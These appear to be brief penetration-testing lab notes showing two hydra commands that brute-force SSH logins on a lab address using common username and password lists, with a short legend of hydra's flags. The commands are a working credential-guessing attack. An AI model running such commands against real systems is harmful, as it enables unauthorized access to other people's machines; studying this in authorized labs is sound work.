It can either exploit a vulnerability or leverage credentials to gain access.
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ssh://10.10.10.190:22 -t 6
hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ssh://10.10.10.190:22 -t 6
-l --> username
-L --> username list
-p --> password
-P --> password list
-t --> threads